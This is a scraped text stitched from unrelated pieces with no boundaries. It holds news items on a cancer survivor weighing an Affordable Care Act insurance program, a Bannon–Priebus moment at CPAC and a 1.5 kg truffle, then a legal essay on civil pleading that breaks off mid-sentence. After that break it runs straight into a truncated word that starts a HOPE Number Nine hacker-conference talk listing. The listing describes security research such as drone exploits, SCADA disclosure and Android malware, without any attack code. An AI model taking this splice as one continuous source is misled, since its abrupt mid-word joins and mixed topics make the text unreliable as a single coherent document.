At the same time, President Barack Obama's health care law, reviled by conservatives as an expansion of big government, may be the only way for Littlewood to get affordable health insurance.
"I think we're in a society that is on a runaway train," Littlewood said. "I think I'm about to see what that is all about."
Polls show that Americans, collectively speaking, are as ambivalent about the law as they are about the president himself. Under Obama's watch, the Affordable Care Act's major provisions are supposed to take effect in 2014, extending insurance coverage to 30 million Americans whether they like it or not.
Littlewood knows from personal experience that the health care system's status quo is no good. She has owned an automotive accessory business for 34 years. She said her company's group health insurance policy, which covers her and one employee, costs $1,460 per month. If she renews the policy for another year, its monthly premiums will go up to $1,553.
She said she can't afford it anymore, but she has no other choice for obtaining coverage, since no insurance company will offer an affordable plan to a 59-year-old breast cancer survivor.
"I think I'm being discriminated against," she said. "I am healthy and I am tired of getting beat up each year with the high insurance costs."
Thanks to Obamacare, Littlewood is now considering other options. If she's willing to spend six months uninsured, she can qualify for a little-known new program called the Pre-Existing Condition Insurance Plan. In Florida, the PCIP's monthly premiums range from $376 to $505 per month.
"That's a substantial savings," Littlewood said. "It's a heck of a lot better than what I'm paying now."
Fewer people have enrolled in the PCIP than the Obama administration expected, and its costs per enrollee have been much higher. Yet for many of the 80,000 Americans who have signed up, the program is a lifesaver. The Huffington Post has followed several people who have actually canceled their private insurance in order to spend six scary months uninsured so they can qualify.
The program will be phased out 2014, at which point the insurance industry will no longer be allowed to exclude sick people from coverage. At the same time, people with lower incomes will receive government subsidies to purchase health plans, and people who don't buy insurance will have to pay a penalty to the IRS.
Littlewood said she voted for Obama in 2008, but voted for Romney Tuesday because of her frustration dealing with the state and federal government as a business owner. Plus, she said, she figured Romney would not fully follow through on his promises to repeal Obamacare.
She said she would decide whether to drop her insurance just as soon as her doctors can confirm her cancer is still in remission.President Donald Trump’s chief strategist Steve Bannon made a rare public appearance at the Conservative Political Action Conference on Thursday. Despite rumors he and White House Chief of Staff Reince Priebus have a fraught relationship, they sat down for a joint interview, during which Bannon seemed to try to pat Priebus on the leg. Priebus seemed to not be into it.
The moment, caught in a Twitter video by Kyle Alvarado, has since gone viral, prompting (1) experts to analyze the touch and (2) people to have a field day over it.
Please tell me somebody else saw Priebus' reaction to Bannon trying to touch him. #CPAC2017 pic.twitter.com/oNXGEvgNhv — K Why (@KJAlvarado124) February 23, 2017
Body language expert Patti Wood told the New York Daily News the action suggested that Bannon perceives himself as dominant but Priebus seemed to want to separate himself from a gesture that implied intimacy.
Lillian Glass, another body language expert, told the paper it was certainly an intimate moment, but that the men were just following Trump’s example: "When Trump likes you, he touches you and these guys are following suit.”
Meanwhile, on Twitter:
Had to be done pic.twitter.com/Kr0PLmsxtH — ZanBizar (@ZanBizar) February 23, 2017
No joke I could make could ever measure up to the video itself. Watch. Enjoy. Rinse. Repeat.
Follow Tess on Twitter.Victorian farmer claims to have grown one of biggest truffles in world
Updated
A farmer in Victoria's Yarra Valley claims to have grown one of the largest truffles in the world, weighing in at a hefty 1.5 kilograms.
Stuart Dunbar said the truffle could fetch up to $3,000 on the wholesale market.
He said the initial discovery was made by his truffle dog, Lani.
"With the high temperatures of last Thursday of 21 degrees [Celsius], the dog and I were passing through, putting extra soil on them to insulate them when she [Lani] said: 'Hey boss have a look at this one, this is ready now'".
"We dug and we dug and we dug and 45 minutes later unearthed this massive truffle."
Mr Dunbar said the truffle was air dried overnight before it was weighed.
"When the scales clicked up 1.5 kilos, I thought I better go and get my camera and record myself weighing this," he said.
"On a plate, anywhere between three to five grams makes an unforgettable meal experience.
"I think that 300 people could have an unforgettable meal off a truffle that size."
Mr Dunbar said he has grown a lot of large truffles over the past year, but 1.5kg was by far the biggest.
"The size has been increasing year by year, there's been a few truffles this year around 500, 646, 800-gram size," he said.
"There was a couple at 1.1 kilos last year, but the weather and the bugs got to those before I did unfortunately."
Rather than sell the delicacy, Mr Dunbar said he would preserve the truffle in alcohol as it would be difficult to sell to restaurants because of its size.
The world's largest white truffle, which weighed 1.89 kilograms, was sold at auction for more than $70,000 in the US in 2014.
The White Alba truffle was unearthed in the Umbrian region of Italy.
Topics: rural, yarra-glen-3775
First postedFor more than half a century, it has been clear that all a plaintiff had to do to start a lawsuit was to file what the rules call “a short and plain statement of the claim” in a document called a complaint. Having filed such a bare-bones complaint, plaintiffs were entitled to force defendants to open their files and submit to questioning under oath.
This approach, particularly when coupled with the American requirement that each side pay its own lawyers no matter who wins, gave plaintiffs |
s with mainframes mounted inside Army trucks, and emerged in suitcases, briefcases, and even pockets in the 1970s. All throughout this rich history, there were clever, funny, and security-themed hacks involved. In some cases, there were hacks needed just to construct the systems, and in others there were hacks in system usage. This talk will explain a dozen examples from which modern hackers can learn.
Saturday 1100 Sassaman| Download Audio: 16kbps or 64kbps
Hosting irc.2600.net - My Life with the Thrill Kill Cult
Andrew Strutt aka r0d3nt, Da Beave (Champ Clark III)
An overview of the history of 2600net for at least the last ten years. This talk will cover 2600net infrastructure and policies, why it is the way it is, along with how to communicate securely and build trust with users and friends. Who are the hosts and operators? Meet the crew! What other communities are around 2600 and the IRC network? How can you get involved? Special attention will be given to DDoSes, LulzSec, Anonymous, th3j35t3r syndrome, and all sorts of other challenges. Expect other staffers and channel operators to stop in for this talk.
Friday 2300 Dennis| Download Audio: 16kbps or 64kbps
How to Communicate with Your Car’s Network
Robert Leale
Modern vehicles are essentially mobile computers and controller networks. On average, there are around ten embedded controllers in a vehicle. These controllers are responsible for running the engine, locking and unlocking the vehicle, sounding the horn, and much, much more. These networks are very different from current computer networks. This talk will help you understand how to get started, what information is on the vehicle network, and how you can use this data to get information from and send commands to these controllers. Additionally, this talk will list the current tools available for communicating with vehicles and how to interpret the communications between the controllers.
Friday 2200 Sassaman| Download Audio: 16kbps or 64kbps
How to Retrofit the First Law of Robotics
Eben Moglen
We live with robots now, as we always knew we would. But they have no hands or feet. We carry them in our pockets. They see what we see. They hear what we hear. They always know where we are. But they do not work for us, and they are not programmed to obey the First Law. Profit made them, profit runs them, and they hurt us every day. Free Software can retrofit the First Law of Robotics into the robots we call cell phones, but those who control the robots don’t want freedom inside. That’s where we come in. This talk will discuss how.
Sunday 1300 Dennis| Download Audio: 16kbps or 64kbps
ICANN’s New gTLD Program: Implications on Security, Stability, and Governance
Alexander Urbelis
The Internet is about to rapidly expand. Through ICANN’s new generic top level domain (gTLD) program - for the first time ever - individual entities can customize the space to the right of the dot. While currently only 22 gTLDs exist (e.g.,.com,.net,.org, etc.), on June 13, ICANN announced that it had received an unexpected 1,930 applications for new gTLDs, ranging from applications for.AARP to.ZULU. This talk will examine the security and stability concerns that arise from the rapid expansion of the Internet’s root zone. Also included will be the current state of the new gTLD program, the security issues that plagued the application process in April, and how this new model of gTLD ownership (with large swaths of Internet real estate in the hands of private entities) will change our current model of Internet governance.
Sunday 1600 Sassaman| Download Audio: 16kbps or 64kbps
I’m Not a Real Friend, But I Play One on the Internet
Tim Hwang
This talk examines the topic of socialbots - realistic, automated bot identities online that are optimized to reliably elicit certain types of social behaviors in groups of users on platforms like Facebook and Twitter. Deployed en masse, large swarms of these bots are able to subtly (and not-so-subtly) shape the ways in which communities grow, connect, and behave on these platforms. Insofar as people increasingly come to rely on these networks into the future, the bots hold the promise (and threat) of shaping not only the social universe of opinions and influence, but real world coordination and action among people as well. Ultimately, this talk will conclude by discussing how these bots suggest the evolution of classic social engineering into a broader social hacking - which approaches human networks as if they were computer networks and applies similar principles for their compromise and defense against the social influence of third parties.
Saturday 1000 Sassaman| Download Audio: 16kbps or 64kbps
Information Distribution in the Arab Spring - No Hacks Required
Griffin Boyce
From pirate radio, livestreaming, and video-sharing apps, to asynchronous mesh networks, Bluetooth, SMS/MMS, i2p, and Tor hidden services, the ways that activists in the Middle East and North Africa get critical information out are far more varied than most people know. With so much attention given to leaks recently, it’s easy to perceive the “liberation” of information as involving major hacks of critical systems. But reality is, as always, much more complex and interesting. This talk will show just how distribution channels in the Middle East are created and maintained, and the positive impacts they can have.
Sunday 1100 Dennis| Download Audio: 16kbps or 64kbps
Infrastructure Mediated Sensing of Whole-Home Human Activity
John McNabb
Devices are being developed to monitor what you do in your home. Even without Orwell’s telescreen (which is under development), there is a lot of information that can be collected about your Activities of Daily Life. The beneficial goals of these devices include promoting positive things like water conservation, helping people improve their personal health, and monitoring people in assisted living environments. This talk will describe the technology of the devices used to collect and transmit this data, and discuss some of the social, ethical, political, economic, privacy, and legal issues raised. What could go wrong? Could these systems be used by governments to micromanage personal behavior? Could employers use these systems to regulate employees’ off-duty behavior? Could such data be used to convict people in court? Could this data be stolen, abused, or falsified? The answer for each of these questions is “yes.”
Friday 1100 Nutt| Download Audio: 16kbps or 64kbps
The Internet is for Porn! How High Heels and Fishnet Have Driven Internet Innovation and Information Security
Chris Kubecka, Jarett Kulm
A dark and seedy journey to explain the real driver behind Internet innovation: porn. How an economy built on the ultimate satisfaction just a click away has driven technological advances. Racy browsing habits involving our innermost secrets, vulnerable parties, and criminal syndicates have driven malicious code and subsequent security advances. Broad ranging censorship involving much more than pornography has been the end result in attempts to reign in such “unhealthy” habits by well-intentioned governments and organizations. This talk will include a timeline of pornography on the Internet, related security threats, an overview of industry economics (legal and ~illegal), and related censorship. Audience discussion and participation is welcome, but please, no BYOP.
Friday 2200 Dennis| Download Audio: 16kbps or 64kbps
IPv6 Now! What Does This Mean?
Joe Klein
On June 6th, World IPv6 Launch Day occurred, another step in the replacement of the aging IPv4 Internet. Adoption of IPv6 as of June 17th is 6.9 percent in Romania, 4.5 percent in France, 1.4 percent in Japan, 1 percent in the United States, 0.58 percent in China, and 0.28 percent in Russia. This is up from less than 0.006 percent within the past two years. This presentation will answer the questions: “What is the risk of adopting IPv6?”, “What is the risk of not adopting IPv6?”, and “What are the new opportunities for hackers?”
Saturday 2000 Nutt| Download Audio: 16kbps or 64kbps
Jason Scott’s Strange and Wonderful Digital History Argosy
Jason Scott
With a few small seeds of facts, digital and computer historian Jason Scott will draw together a multi-medium presentation of events, terms, facts, and references to set you off on a journey of learning for the rest of the year. Combining material from his three in-production documentaries and years of research, attendees will be given the threads that pull massive airships of knowledge out of the sky and into your minds. Formal attire welcome but not mandatory - participation encouraged - paradigms blown - mysteries solved.
Friday 2100 Sassaman| Download Audio: 16kbps or 64kbps
Keynote Address - William Binney
William Binney
Friday 1400 Dennis, Sassaman, Nutt (followed by lightning talks)| Download Audio: 16kbps or 64kbps
Keynote Address - The Yes Men
The Yes Men
Saturday 1300 Dennis, Sassaman, Nutt (followed by lightning talks)| Download Audio: 16kbps or 64kbps
“Kill The Internet”
MemeFactory (Mike Rugnetta, Stephen Bruckert, Patrick Davison)
As grassroots Internet culture grows and flourishes, pushing out into international mainstream recognition, top-down cultural models are threatened and fight back, while governments attempt to quash and chill dissent empowered and organized by the Internet. How are people from the Internet fighting back? What does that even mean? And will it be enough?
MemeFactory is three guys that give tightly rehearsed performative lectures about Internet culture. Their talks document, explore, and critique the emerging culture of the Internet in a visually-focused, fast-paced style that mimics the experience of having ten browser windows open while talking on the phone and watching a YouTube video.
Friday 1700 Dennis| Download Audio: 16kbps or 64kbps
Legal Processes As Infrastructure Attacks
Alex Muentz
Law enforcement and lawmakers have been showing much more of an interest in regulating the Internet. The hacker community needs to understand how certain legal methods work like IT infrastructure attacks. This talk will explain legal processes such as subpoenas, search warrants, and e-discovery as IT infrastructure attacks, as well as how to talk to lawyers. This is an evolving topic as the environment has been constantly changing and, of course, has become more complicated. Also included: a discussion on the recent Megaupload and other domain seizures, forced IP and search engine blocking, and a question and answer session on related matters.
Friday 1600 Sassaman| Download Audio: 16kbps or 64kbps
Lightning Talks
Various Speakers
A dozen talks over two days, each around five minutes in length. These were presented after the Friday and Saturday keynote addresses.
Friday, Saturday - Dennis| Download Audio: 16kbps or 64kbps
Make Your Laws: Practical Liquid Democracy
Sai
This talk will include background on the concepts of direct, representative, and liquid democracies; the tradeoffs inherent in different types of government; interesting problems for online voting and policy authorship; examples of similar systems in different countries; discussion of some legal context (e.g. electronic signatures and the democratized use of Super PACs); a practical road map to gaining full control over your legislature; and Q&A. Make Your Laws (makeyourlaws.org) is an open source, nonprofit, practical project that aims to replace all existing legislatures with online liquid democracies. The aim is simple: to let you make your laws.
Friday 2000 Nutt| Download Audio: 16kbps or 64kbps
Manufacturing Modern Computer Chips
QueueTard
Modern computer chips are using transistors with features as small as 22nm. They are produced in factories that are 10,000 times cleaner than an operating room that can think like Skynet. Combined, the chips they produce run everything from your cell phone to the Internet itself. While outsiders might see it as the realm of multi-billion dollar corporations, in reality, it has been achieved through a hardcore application of the hacker mindset. Each new advancement involves hacking the theories of electrical engineering, hacking waves of light, and sometimes hacking physics. This talk will go over how and why the design of a modern nanoscale transistor was developed, as well as discuss the processes used to build them, and the incredible equipment that makes it all possible. Plus some fun stories about what goes wrong.
Sunday 1200 Nutt| Download Audio: 16kbps or 64kbps
Mastering Master-Keyed Systems
Deviant Ollam
The world of locks is one in which, so very often, things old become new again. Master-keyed lock systems fall into this category. For years now, many people have shared advice and stories regarding methods of attacking master-keyed systems. This year, at HOPE Number Nine, The Open Organisation Of Lockpickers will be running a contest in which attendees may attempt to decode a master-keyed system during the weekend. If you stop by this presentation, you’ll be a few steps ahead of everyone else who is attempting this interesting and different lockpicking game at HOPE Number Nine - and you’ll learn about how master-keyed systems are often vulnerable to many surreptitious attacks.
Friday 1900 Dennis| Download Audio: 16kbps or 64kbps
Messing with Nmap Through Smoke and Mirrors
Dan “AltF4” Petro
Reconnaissance on a network has been an attacker’s game for far too long. Where’s the defense? Nmap routinely evades firewalls, traverses NATs, bypasses signature-based NIDS, and gathers up the details of your highly vulnerable box serving Top Secret documents. Why make it so easy? This talk will explore how to prevent network reconnaissance by using honeyd to flood your network with low fidelity honeypots. Dan will then discuss how this lets us constrain the problem of detecting reconnaissance such that a machine learning algorithm can be effectively applied. (No signatures!) Some important additions to honeyd will also be discussed along with a live demonstration of Nova, a free software tool for doing all of the above.
Friday 1200 Nutt| Download Audio: 16kbps or 64kbps
“No Natural Resources Were Hurt Assembling This Sofa”
Per Sjoborg
This talk is an introduction and overview of a new and exciting field in robotics called Self Reconfiguring Modular Robotics (SRCMR). SRCMR is basically about modules, like Lego pieces, that can assemble themselves into anything you want (self reconfigure). You will hear how this makes a prosperous, growing, and environmentally friendly world accessible for all of us. This is possible because the stuff you need is assembled from the same modules, again and again, using no resources other than small amounts of energy. This drastically reduces the resources we use, and de-couples growth and environmental problems. Because the modules are programmable, SRCMR will also make the world completely hackable, introducing many interesting opportunities and challenges.
Friday 2200 Nutt| Download Audio: 16kbps or 64kbps
Nymwars: Fighting for Anonymity and Pseudonymity on the Internet
Eva Galperin
The last year has seen an Internet-wide debate over real names, pseudonyms, and anonymity online, especially on social networks and in the comment sections of blogs and newspapers. Facebook has required users to use their real names from the very beginning and newspapers have increasingly embraced the same requirement for commenting on their websites. Proponents of real name policies cite increased civility and quality of content. But pseudonymity and anonymity have a long history in public discourse, and they are essential for privacy and speaking truth to power. This talk will examine the debate over anonymity and pseudonymity online, with a focus on Facebook and the Arab Spring, and Google Plus and Nymwars.
Friday 1900 Sassaman| Download Audio: 16kbps or 64kbps
Occupy the Airwaves: Tools to Empower Community Radio Stations
Maggie Avener, Ana Martina
The Prometheus Radio Project started with radio pirates fighting for local groups to be able to run community radio stations. Prometheus builds, supports, and advocates for community radio stations which empower participatory community voices and movements for social change. They are currently creating a number of tools to support community groups as they prepare for an upcoming once-in-a-lifetime chance to apply for low power radio licenses. RadioSpark is an online hub where applicants, engineers, lawyers, and other supporters can exchange knowledge and plan together. RFree is free and open source software that applicants can use to find available channels and prepare their FCC applications.
Saturday 1000 Dennis| Download Audio: 16kbps or 64kbps
Old School Phreaking
Cheshire Catalyst, John Draper, Tom Santa Monica
Members of The Old School will regale the assembled throngs with tales of “The Golden Age of Phone Phreaking.” Those were the days of in-band signaling when anyone who could put out a tone of 2600 hertz could control the “Long Lines” network.
Sunday 1800 Dennis| Download Audio: 16kbps or 64kbps
The Open Secure Telephony Network
Lee Azzarello, Mark Belinsky
All of the necessary technologies and communications standards exist today for voice communications that are as secure as OpenPGP email. Both proprietary and open source solutions exist for desktop and mobile devices that implement the necessary bits to provide a solution without dependence upon one global service provider. ostel.me provides both a service and an application for the Android OS that is only marginally more complex to use than dialing an existing phone number, while still based entirely on open standards like SIP and ZRTP. The app is experimental and is based on existing open source client code provided by the CSipSimple, pjsip, and zrtp4pj projects.
Sunday 1700 Dennis| Download Audio: 16kbps or 64kbps
The Original WWII Hackers
George Keller
A look at some of the history of code breakers in the second World War. Bletchley Park in the United Kingdom was the home of the original WWII “hackers” and George will describe what goes on there today, as well as what Navy cryptologists managed to achieve during the war.
Saturday 1800 Nutt| Download Audio: 16kbps or 64kbps
Patents: How to Get Them and How to Beat Them
Ed Ryan
Patents are a distasteful reality for hackers, open source programmers, and entrepreneurs alike. This talk aims to provide a working knowledge of how to read a patent, what is required to obtain patent protection, and how to defend yourself against patent lawsuits. This talk is an academic discussion of patent law and should not be construed as legal advice.
Saturday 1600 Nutt| Download Audio: 16kbps or 64kbps
Phone Phreak Confidential: The Backstory of the History of Phone Phreaking
Phil Lapsley
Five years in the making, Phil has finally finished Phone Phreaks, his book on the history of phone phreaking from the 1950s to the 1980s. In this talk, he will weave together the evolution of phone phreaking with the backstory of the writing of his book. From giving John “Cap’n Crunch” Draper a piggyback ride around his apartment in order to secure an interview to cleaning out Joybubbles’s apartment after his untimely demise, Phil’s research took him through the maze of twisty little passages that wind through the history of this underground hobby. Some of the characters you’ll meet include the phone phreak CEO of an electronic warfare company, a cell of Stony Brook students busted for blue boxing, and the mysterious and cantankerous head of the International Society of Telephone Enthusiasts. You’ll also get a behind the scenes tour of the NSA and FBI’s phone phreak files and the 400 Freedom of Information Act requests necessary to get them into the light of day.
Saturday 1200 Dennis| Download Audio: 16kbps or 64kbps
Practical Insecurity in Encrypted Radio
Sandy Clark, Matt Blaze, Perry Metzger
APCO Project 25 (“P25”) is a suite of wireless communications protocols used in the United States and elsewhere for public safety two-way (voice) radio systems. The protocols include security options in which voice and data traffic can be cryptographically protected from eavesdropping. This talk analyzes the security of P25 systems against passive and active adversaries. The panel found a number of protocol, implementation, and user interface weaknesses that routinely leak information to a passive eavesdropper or that permit highly efficient and difficult to detect active attacks. They found new “selective subframe jamming” attacks against P25, in which an active attacker with very modest resources can prevent specific kinds of traffic (such as encrypted messages) from being received, while emitting only a small fraction of the aggregate power of the legitimate transmitter. And, more significantly, they found that even passive attacks represent a serious immediate threat. In an over-the-air analysis conducted over a two year period in several U.S. metropolitan areas, they found that a significant fraction of the “encrypted” P25 tactical radio traffic sent by federal law enforcement surveillance operatives is actually sent in the clear - in spite of their users’ belief that they are encrypted - and often reveals such sensitive data as the names of informants in criminal investigations.
Aside from being important practical vulnerabilities in their own right, the problems in P25 secure radio represent an example of a class of problem that the security and cryptography community has largely ignored. Radio protocols typically do not fit the negotiated two-way communication model under which most security protocols are designed (and to which our community devotes most of its attention). One-way protocols, like P25, in which there is no negotiation or exchange between the transmitter and the receiver are actually rather unusual, and relatively little is known (or written in the literature) about robust design principles for them. In this talk, new approaches to protocol design will be suggested that might allow us to do better.
Saturday 1200 Sassaman| Download Audio: 16kbps or 64kbps
Printable Electronics and the Future of Open Hardware
John Sarik
Many open hardware projects use integrated circuits (ICs), but these ICs are literal black boxes because the manufacturers do not provide the silicon source code. There’s also no way for makers to cost effectively modify and recompile this source code to fabricate custom ICs. But there is hope! Printable electronics based on novel materials and low cost fabrication techniques have the potential to enable open hardware at a whole new level. This talk will provide an overview of current printable electronics technology and discuss the issues that will arise as open hardware moves beyond silicon. What happens to open hardware when you can download and print an entire electronics project? How can we ensure that the materials used are open, widely available, and safe? How can we make IC design accessible to non-engineers? What should a Thingiverse for printable electronics look like? What are the legal issues surrounding printable electronics?
Friday 2100 Nutt| Download Audio: 16kbps or 64kbps
Privacy - A Postmortem
(or Cell Phones, GPS, Drones, Persistent Dataveillance, Big Data, Smart Cameras and Facial Recognition, The Internet of Things, and Government Data Centers Vacuuming Google and Facebook, Oh My!)
Steven Rambam
With a few keystrokes, it is now possible for an investigator to determine a target’s location, activities, finances, sexual orientation, religion, politics, habits, hobbies, friends, family, their entire personal and professional histories... even accurately predict what they will do and where they will go in the future. Without leaving the office, a government agent can surveil a subject and “watch” their activities 24/7/365: where they drive, when they walk down the street, if they attend a church or synagogue or mosque or a demonstration or visit an abortion clinic or a “known criminal activity location” or meet with a “targeted person” or a disliked political activist. There is no longer any place to hide.
Since the very first HOPE conference, private investigator extraordinaire Steven Rambam’s lectures on privacy have kept attendees ten years ahead of the curve regarding surveillance technologies, investigative techniques, and the assaults upon personal privacy by government’s Big Brothers and private industry’s even bigger Big Sisters. His lectures described cell phone “pinging” eight years before it was used by the FBI and “Google Glasses” four years before they were announced. The past two years have seen the largest expansion of surveillance technologies ever and, in a wide ranging three hour lecture packed as always with dozens of real-world examples and case studies, Steven will provide a terrifying update on our absolute loss of privacy. His lecture is not for the weak of heart - or for those afraid of drones.
Saturday 1700 Dennis (3 hours)| Download Audio (Part 1): 16kbps or 64kbps
Download Audio (Part 2): 16kbps or 64kbps
Privacy by Design - a Dream for a Telecommunications Provider That Uses Strong Cryptography to Ensure Your Privacy
Nick Merrill
This is a talk about launching a nonprofit organization that has some unique and disruptive ideas which challenge some of the basic assumptions about how modern communications systems work and that have the potential to transform the telecommunications and ISP industries with regards to privacy and freedom of expression. The seemingly dueling concerns of cybersecurity and privacy can both be addressed to some degree by the promotion of ubiquitous and opportunistic encryption, which would allow for an important political consensus between parties interested in either of those two issues. This topic and content is relevant to the hacker community and to HOPE attendees because of the implications of dragnet surveillance that has become commonplace in recent years, fueled in part by advances in technology and due to a shift towards more and more communication happening in the digital domain.
Sunday 1500 Sassaman| Download Audio: 16kbps or 64kbps
Privacy Tricks for Activist Web Developers
Micah Lee
Do you care about the privacy of your website’s visitors, but also depend on social media to get your message out? Do you want to protect your visitors’ anonymity in case you or a third party service you use gets subpoenaed? Do you want to be able to get meaningful and pretty analytics without third parties tracking your visitors? Can some kid in a coffee shop really hijack your users’ accounts that easily?
Chances are Google, Facebook, and Twitter know as much about your website’s visitors as you do, IP addresses and user agents are sprinkled about your server’s filesystem, Google Analytics is watching everyone’s every move, and some kid in a coffee shop is already pwning your users. But it doesn’t have to be this way! This technical talk will cover tricks that web developers and sysadmins can use to minimize the privacy problems that plague the modern web.
Saturday 1500 Nutt| Download Audio: 16kbps or 64kbps
Project Byzantium: An Ad-Hoc Wireless Mesh Network for the Zombie Apocalypse
The Doctor, Haxwithaxe, Sitwon
Project Byzantium (a working group of HacDC) is proud to announce the release of Byzantium Linux, a live distribution which makes it fast and easy to build ad-hoc wireless mesh networks. Due to the actions of certain governments (such as those of Egypt, Tunisia, and Syria), alternative data networks are becoming more and more important as a means to communicate, organize, and coordinate. Project Byzantium aims to help support (and in some cases, replace) damaged or compromised Internet infrastructure and services with commodity wi-fi enabled equipment and a flexible, improvisable architecture. The presenters will discuss some of the engineering challenges faced and solutions that were developed to overcome them, including automatic network configuration and interaction with mobile clients that have limited capabilities.
Saturday 1900 Sassaman| Download Audio: 16kbps or 64kbps
Protecting Your Data from the Cops
Marcia Hofmann
What should you do if the police show up at your door to seize your computer? If they ask for passwords or passphrases, do you have to turn them over? Can they search your phone if they arrest you during a protest? What about when you’re crossing the border? Your computer, phone, and other digital devices hold vast amounts of sensitive data that’s worth protecting from prying eyes - including the government’s. The Constitution protects you from unreasonable government searches and seizures, but how does this work in the real world? This talk with help you understand your rights when officers try to search the data stored on your digital devices, or keep it for further examination somewhere else. The constitutional protections that you have in these situations, and what their limits are will be discussed, along with technical measures you can take to protect the data on your devices.
Saturday 1100 Dennis| Download Audio: 16kbps or 64kbps
Pwn the Drones: A Survey of UAV Hacks and Exploits
Trevor Timm, Parker Higgins
Drones are no longer a scary possible future of surveillance and remote force - they’re here. Internationally, drones are being deployed for military action and observation. At home, police departments, border patrols, and others are acquiring UAVs and developing programs to fly them; there’s even talk about adding “less lethal” arms to these domestic drones. Think Tasers and rubber bullets shot from the sky. But a series of alarming events over the past few years have demonstrated that many of these unmanned vehicles are dangerously vulnerable to exploits, leading to intercepted data, flight failures, and even remote takeovers. In this talk, Parker and Trevor will explain the privacy and security implications of some of the most sensational drone exploits and the weaknesses that enabled them. They’ll also go over the work of communities and individuals that have been hacking drones from scratch, and what their efforts mean for our future understanding and regulation of drones.
Saturday 1600 Dennis| Download Audio: 16kbps or 64kbps
Real Advances in Android Malware
Jimmy Shah
Attackers are starting to move on from simple attacks, mainly because users are beginning to figure out that the free adult entertainment or chat app shouldn’t be sending SMS messages to expensive numbers. They’re leveraging techniques from PC malware like server-side polymorphism, vulnerability exploits, botnets and network updates, and preemptive/direct attacks against security software. It’s not all that bad. Attackers aren’t going out of their way to discover their own vulnerabilities or writing their own exploits. They’re happy to re-purpose the work done by legitimate developers, security researchers, and the rooting community. If the malware has gotten trickier, what are those tricks? A look at portions of code and how earlier research is adapted by attackers.
Friday 1500 Nutt| Download Audio: 16kbps or 64kbps
Recent Advances in Single Packet Authorization
Michael Rash
Single Packet Authorization (SPA) is a security technology whereby vulnerable services are protected behind a default-drop packet filter and temporary client access is granted via passive means. This talk will present recent advances in the open source “fwknop” SPA project, including clients for Android and the iPhone, support for the PF firewall on OpenBSD, the ability to seamlessly integrate SPA into cloud computing environments with the new FORCE_NAT mode, and deploying fwknop on embedded systems with limited computing resources. In addition, some discussion will be devoted to other SPA implementations and the various tradeoffs that must be made by any project that provides either port knocking or SPA functionality.
Sunday 1000 Nutt| Download Audio: 16kbps or 64kbps
Re-wired: Hacking the Auditory Experience
Amelia Marzec
Re-wired is a wearable device that translates ambient sound into haptic feedback using bone conduction technology. Amelia began the project when she lost hearing in one ear. She was inspired by her new experience of sound that combined tympanic hearing and vibrational resonance. Amelia began experimenting with less invasive methods for augmenting hearing, using vibration instead of surgery and implants. Re-wired considers the possibility of empowering patients to place their care into their own hands by building simple devices to take care of simple problems. This will be a participatory talk on DIY medical technology, including our comfort level with augmenting our own bodies.
Sunday 1500 Nutt| Download Audio: 16kbps or 64kbps
SCADA/PLC Exploitation and Disclosure
Tiffany Rad, Teague Newman, Mike Murray
Last year, a few groups of independent security researchers disclosed significant vulnerabilities in SCADA systems and PLCs. This panel brings together these security researchers to discuss their findings, initial goals for doing the research, disclosure processes, and difficulties and surprises encountered. These researchers, independently and without corporate or “nation state” funding, decimated the popular belief that “security via obscurity” works to protect critical infrastructure.
Saturday 1500 Dennis| Download Audio: 16kbps or 64kbps
Sierra Zulu. Or How to Create a Feature Film About the Digital Age - and Why That’s Pretty Hard
Johannes Grenzfurthner
Movies are exciting. Things crash and burn. Bolts and fists fly. There are bangs and kabooms. People go to the cinemas in order to experience new worlds. But cinema is about to lose its prime source of narrative, having so far tethered to physical action that can be filmed. Cinema needs tempo. It needs speed. The “movement-image” (Gilles Deleuze) depends on physical action onto which the cameras can point. Yet, in contrast, the real world of non-cinema is losing physical action day by day. It is a time of abstract, optically unpresentable processes in networks and data systems. This regress of visual displayability is rather daft. Cinema has lived well on it for more than a hundred years. It’s easy to create a feature film about a bank robbery, but that’s anachronistic. Some of the most important crimes exist as electronic money movements between international stock exchanges. Hollywood cinema, on the other hand, still hasn’t evolved beyond anything better than banal sequences straight out of an Errol Flynn movie. How can we accurately portray the stories of our (new) world? All those dramas and comedies? All those crimes and stories? The people at monochom are working on a feature film called Sierra Zulu. This talk will discuss their challenges and hopes - and why they think you can help.
Friday 2100 Dennis| Download Audio: 16kbps or 64kbps
The Smartphone Penetration Testing Framework
Georgia Weidman
As smartphones enter the workplace, sharing the network and accessing sensitive data, it is crucial to be able to assess the security posture of these devices in much the same way we perform penetration tests on workstations and servers. However, smartphones have unique attack vectors that are not currently covered by available industry tools. The smartphone penetration testing framework, the result of a DARPA Cyber Fast Track project, aims to provide an open source toolkit that addresses the many facets of assessing the security posture of these devices. This talk will look at the functionality of the framework including information gathering, exploitation, social engineering, and post exploitation through both a traditional IP network and through the mobile modem, showing how this framework can be leveraged by security teams and penetration testers to gain an understanding of the security posture of the smartphones in an organization. You will also learn how to use the framework through a command line console, a graphical user interface, and a smartphone-based app. Demonstrations of the framework assessing multiple smartphone platforms will be shown.
Friday 1000 Sassaman| Download Audio: 16kbps or 64kbps
Social Engineering
Emmanuel Goldstein and friends
Since the very first HOPE conference in 1994, the social engineering panel has been a huge draw. We basically round up a bunch of people who like to play on the phone, tell some stories, and make live calls to strangers who wind up telling us things they really shouldn’t in front of a huge crowd of people who are trying very hard not to make any noise. It’s all a lesson on how insecure information really is, and how you can avoid making the same mistakes that some unsuspecting person someplace will inevitably make when this panel randomly calls them.
Saturday 2100 Dennis, Nutt| Download Audio: 16kbps or 64kbps
Solving More Than #firstworldproblems
Johnny Diggz, Willow Brugh
For the past two years, Geeks Without Bounds has been using technology to assist people in times of crisis and helping to build better tools to empower people to help themselves. Whether organizing Random Hacks of Kindness events, teaching app developers about data security, or helping humanitarian organizations engage with hacker communities, they’ve been bridging the chasm between technology and aid organizations. Johnny and Willow will present some real world challenges that have bubbled up to the surface and show how you can help us all solve more than #firstworldproblems.
Friday 2300 Nutt| Download Audio: 16kbps or 64kbps
Spy Improv: Reality Unfiltered
Robert David Steele
Several HOPES ago, Robert Steele started doing separate Q&A sessions using his knowledge as a former spy, pioneer of open source intelligence, advocate of multinational sense-making, and #1 Amazon reviewer for nonfiction. At The Next HOPE (2010), with help from those who stayed with him, he set what may be the world record for Q&A, eight hours and one minute, from midnight Saturday to 0801 Sunday. This year will be strictly limited to two hours in open session, but the possibility of a roundtable thereafter will remain open. All questions welcome.
Saturday 2359 Dennis (2 hours)| Download Audio: 16kbps or 64kbps
The State of HTTPS
Adam Langley
